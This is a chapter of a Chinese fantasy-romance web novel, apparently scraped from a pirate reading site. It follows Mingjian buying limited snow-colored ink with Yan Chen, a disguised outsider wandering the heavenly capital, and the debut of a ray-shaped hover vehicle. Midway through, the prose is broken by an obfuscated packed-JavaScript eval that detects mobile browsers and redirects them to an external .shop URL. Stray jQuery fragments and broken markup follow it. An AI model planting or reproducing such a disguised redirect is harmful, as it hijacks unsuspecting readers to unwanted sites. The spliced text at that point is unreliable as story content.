文趣网 > 都市小说 > 不见西川月 > 36. 絮意成书
    原来,这雪日限定的彩墨仅有这一瓶,紧接着就有顾客前来,自然是跑了空,在门厅处叫嚎了起来。

    鸣涧留在二楼的雅座,将楼下错失限定的懊恼声听了个全,唇角压都压不住,轻轻抚着手中的瓶子。

    晏沉再返回时,见到的就是鸣涧仔细听着楼下动静,抓着手里的瓶子不放,于是忍不住吓唬她:“可收好了,别被瞧见。”

    楼下客人的吵嚷声还在继续,可这唯独一瓶的限定彩墨既已售空,哪里能变出第二瓶来。客人不死心,又向掌柜询问买家在何处,他们可出全款分装一些。掌柜笑脸应对,又如何能擅自应下。

    这抢占先机的买家,就在楼上躲着呢。鸣涧捂紧了手中的瓶子。

    底下的吵嚷声渐渐轻了,鸣涧庆幸道:“还好及时赶来。”晏沉已接了过去,又交给一旁的伙计。

    不多时,伙计返回,瓶子已被细致包好了。

    鸣涧顺手拿起,准备收进百纳符中,前去结账。

    晏沉示意他已结过,拿过去同自己买的那一沓纸张归置在一处,提起来掂两下,甚是稳当。“不怕洒了吗。”他笑道。

    这百纳符实为空间碎片切割而成,可用于随身装纳物品,形态大小各异。不过,它也仅是一个大口袋,里头的物件无法固定,会随着动作晃荡。晏沉买了这厚厚一沓的精美纸张,确实不适宜随意扔里边,便拎在手里。

    鸣涧得意:“我在其中安了万向轴,自能保持常平,有什么可怕的。”

    晏沉:“军械师的百纳符也是暗藏机关。”不经意提起,“什么时候方便,给我也装一个。”

    鸣涧只道这事简单,自是应下,却是又想了想,补充道:“弹药精密不容振动,全军配备也是迟早的事。”

    楼下客人不多时就离去,他们由掌柜送出门,上了回程的车驾。

    不知为何,来时的忐忑揪心好像散去许多。鸣涧不再觉得这车厢逼仄,闲谈间也变得自在了。

    晏沉顺势问起,她何时能得闲。

    可不巧,鸣涧近期正是忙的时候,辞旧市集因大雪延后又不是取消了,他们机要部诸多事务又堆在了一处。

    不过,倒是恰好赶上了一门数术讲堂,就在明日。

    鸣涧这就提到,数术在天工机巧中的应用广泛,却鲜少受到重视。

    此时特地谈起,实属别有用心。要修习这门课确是事实,也是为打消晏沉对她精于数术的关注。

    晏沉略显了然:“机要部军械师众多,也需同你这般进修吗?”看她平时算数犹为在行,原是在这一门下了功夫。

    鸣涧坦言:“那倒没有,但我喜欢霓弓少师,听得多一些。”这位讲师醉心数术,自天庭工部请辞后返回衡天府执教,这才有了数术这门课程。

    晏沉却继续问她可否举例,鸣涧只得谈起明日课堂的内容:“随手转动一柄长枪,会扫过多大的面。”

    这乍一听很是浅显,但若是想得深了,一时间也不知有何用处。鸣涧并未敷衍,只当作闲谈间将自己兴趣同他分享。

    “如果空间由苍龙切割,其中变化又不似常理。”鸣涧以纸面的平直曲折为例,又比划了一番。

    百纳符能容物,未曾想还能与数术有关。

    晏沉不愧在机要部拿过良好的成绩,稍加点拨,就能顺着谈下去。这就说起在被百纳符中放的佩剑难取,需调整角度多次才可拿出,是否可由数术算得路径。

    鸣涧讶然,直言正是如此,不由赞道:“很灵光嘛。”

    晏沉坦然应下:“谢谢夸奖。”

    回到衡天府,已至傍晚时分。

    车驾刚在偏门停稳,鸣涧即刻开了车门,按往常的习惯跳了下去。

    驾车的师傅刚搬出踏凳,还没来得及拦,她已结实落地,却因地面化雪,瞬时脚底一滑。

    要不是晏沉一把攥住了她的胳膊,她才没有摔到地上。

    这下,踏凳也用不上了。师傅又返而将它拿去车驾后头收好。

    鸣涧站稳了,正待转身同他道别,他却仍攥着没松手。

    就算她今日穿得厚实,这力道还是隔着衣料清晰地传来。虽是情急之下伸出援手,但他着力于上臂,令她耳根有些发烫。

    忍不住抻着胳膊,扛住他的劲道勉力抬起,才险险留出一道不透光的缝隙。

    暮色映照之下,晏沉眸中幽深,似是失神了。他觉出掌心传来顽强的抵抗,简直可称神力,至此才察觉不妥,错愕间连忙松开。

    “可是忘了什么。”他边说着,另一手则拿出了包裹。

    正是那瓶雪日限定。

    鸣涧险些摔个跟头,着实忘了这回事。

    今日折腾半天,可都是为了这彩墨。

    不过,她还不清楚它如何归属,忽然想起它是由晏沉付的钱,总不能理所当然地收下:“你买的,应当归你才是。”

    话虽如此,她刚说出口就有些舍不得了。

    晏沉却道:“去年的还没用完。”

    鸣涧干脆地接过,放进自己那不惧晃动的百纳符中,扬声道别:“回头见。”

    可只有她自己才清楚,此时掩饰不住的兴奋,实则是还未从刚才的窘境中脱出,难以处置。

    快跑两步,鸣涧进了偏门。

    刚回到住处,她就奔向桌案,动手解开包裹。

    刚才不该从车上跳下来。她思绪间跳过了那一段。也不该快跑那几步。

    以至于她耳后的热意仍未散去,此时已有些急躁。这包裹里三层外三层,甚是繁杂。

    好不容易揭到里层,她一个没注意,手上的力道猛了些,里头还藏了东西,一口气都蹦到了桌面上。

    拈起一看,竟是几支笔。

    她将这些笔一字排开,挨个拿起细看,原来是方才在铺子里试过的几支。

    不禁想着,去年,都城下雪了吗。

    之前写过的纸张,鸣涧都会定期装订归档,因此她能轻易翻出去年冬日的记录,一页页阅览过去。那时她还不认识他。

    囫囵看完,如何都找不见下雪天的记载。也不过是一年而已,发生了什么就全然忘记,看来还是得多多记录才好。

    鸣涧将随身的记事本拿出来,抚过黑亮的书衣,翻开新的一页。

    思索一番,终是从新得的这几支笔中选了一支,饱蘸新墨。又使劲压了压书脊,这面纸变得平整,她用这瓶雪色写下了今日的见闻。

    “大雪弥天,辞旧市集延期。中庭雪塑众多,九尾狐,其尾蓬蓬若云。”在旁画了一只很粗糙的九尾狐,强调了自己加上的耳朵尖尖。

    “有一文具同好......”她顿了顿笔,终是没有写得更具体,于是这一处笔画沾上了墨迹,“同往衣鱼氏之肆,购得雪天限定彩墨。”

    她本想刮掉这处,思忖过后终是作罢,另起一行写下去。

    “后来者至,却已售罄,懊丧顿足,坐地而泣。”写完这一行又回看过去,即刻有了画面感,她忍不住笑起来。

    果然,写给自己看的日记也会夸大自欺。

    溢出笑意不减,她诚实地在旁批注道:“应不至于”。

    待她搁笔,才发现这雪越下越大,掩去了白日里他们一同行过的车辙步迹。

    外来者趁此雪夜,明晃晃踏入天界境内,也和朱阁紫顶一同被白雪覆盖。

    天界都城仿佛回到了创始开天之初。神域曾历经无尽的寒冬,直至神族朱雀发出的啼鸣,唤出第一抹天光,万类天象一同开始运转,这世间才有了新模样。

    外来者披着晨光,混入熙熙攘攘的街道。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760299|204045||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“着实太冷,快快将雪停了。”他明明穿得厚实,却似乎很是怕冷。他不知和谁说着话,这场大雪来的奇异,此时已骤然止住。

    玄妙走路慢吞吞的,雪停以后又觉热得慌,忙将身上的厚外裳脱下。

    他边走边逛,细致观察天界都城子民是如何生活的。

    只见路边摊子上,随意摆了一大块白玉,居然一铲子下去就碎了。那摊主样貌平平无奇,想不到竟有如此异能。

    不仅如此,摊子上还有诸多异草奇矿,散发着辛辣酸涩气味,大把大把加到白玉中。身旁的路人正捧着这样一碗,几口就吃下去了,又举着碗说什么辣子多放。

    表情甚至陶醉。辣子,应当是十分危险成瘾的药品。

    天界已经先进到这个程度了吗!

    玄妙感到前所未有的恐惧,额头已经冒出了汗。

    “这位兄台,你是爱看手工美食制作过程?”见他看的出神,身旁路人忍不住搭话,“有眼光,这家嫩豆腐是老字号。”

    玄妙不大听得懂,也顾不上理会,得尽快试探其虚实才好。于是以迅雷不及掩耳之势,戳了戳那一大块“白玉”。

    随着他触碰,一整个角塌了下来。原来,是软的。

    他暗自舒了一口气。

    此时摊主已尖叫起来:“你碰了我怎么卖啊!”

    但玄妙的天界官话仅限于事先练习的小部分,面前是已经应激的天界神族,他不知如何应对,只得张了张嘴,却没出声。

    听不到?那是你们耳力不行。

    摊主却一下子泄了气,对那路人道:“是个俊哑巴,可怜见的。”

    说罢,将被他碰碎的那部分铲了铲,盛到碗中,又撒上了辛辣刺激的可怕药物。

    玄妙什么毒物没尝过,又有何惧,当即一仰头就吞尽了。

    他感觉自己的舌头在狂甩着跳舞,不自觉地发出了斯斯的声音,险些以为是原身被逼了出来。

    定神细察,原来周围人跟自己一样,边吃边扇风。

    天界果然很危险啊。

    *

    五日后,衡天府辞旧市集顺利开办,丰泽按时来了衡天府。

    公主的车驾直接停在了山门处。晏沉已在此候着,正准备带丰泽往里走,她左看右看,却不肯挪步。“鸣涧说要来接我的。”

    她这般坚持,晏沉便同她在山门处一道等。

    不多时,远远看到一片巨大的面皮,卷着边扇动着,似是游过来。

    转弯时,才看清后头有条长尾巴。

    “是鳐鱼!鸣涧真的把鳐鱼载具做出来了!”丰泽高喊着挥手,恨不得直接瞬移到那鳐鱼上头。

    这巨大鳐鱼的出场实在惊人,辞旧市集还未开场,就已吊足了众人胃口。

    却听极轻的一声响动,鳐鱼稳稳落在了地面。

    原来,这载具并非在地面行驶,而是悬浮于地面之上。尽管这缝隙狭窄,已与传统轮轴载具全然不同。

    在惊呼声中,鸣涧从驾驶座中出来,来到丰泽面前。“怎么样,这可费了老大的功夫。”话中自是得意。

    这鳐鱼的构想确实同丰泽有关。自中秋时两人就谈起,水栖生灵的游动,如何在地上应用。“蒸腾凝结,滴水成冰。陆上太虚之气,与水体并无差异。”丰泽疑道。

    机要部对于悬浮载具的驱动构件早有成品,经过丰泽激发灵感,今日这载具做成鳐鱼的外形,是以其扁形而翕动的外观,尝试了新的驱动路径,得到了不同的升力。

    丰泽都已跟着鸣涧入座,准备乘着鳐鱼去往中庭。晏沉仍在原地,相望出神。

    北冥有鲲,击水直上,化而为鹏,鲲鹏已是上古神物,神域再难得见,今日却就在眼前。

    吐纳云气,身负青空,扶摇九万里又何尝不可。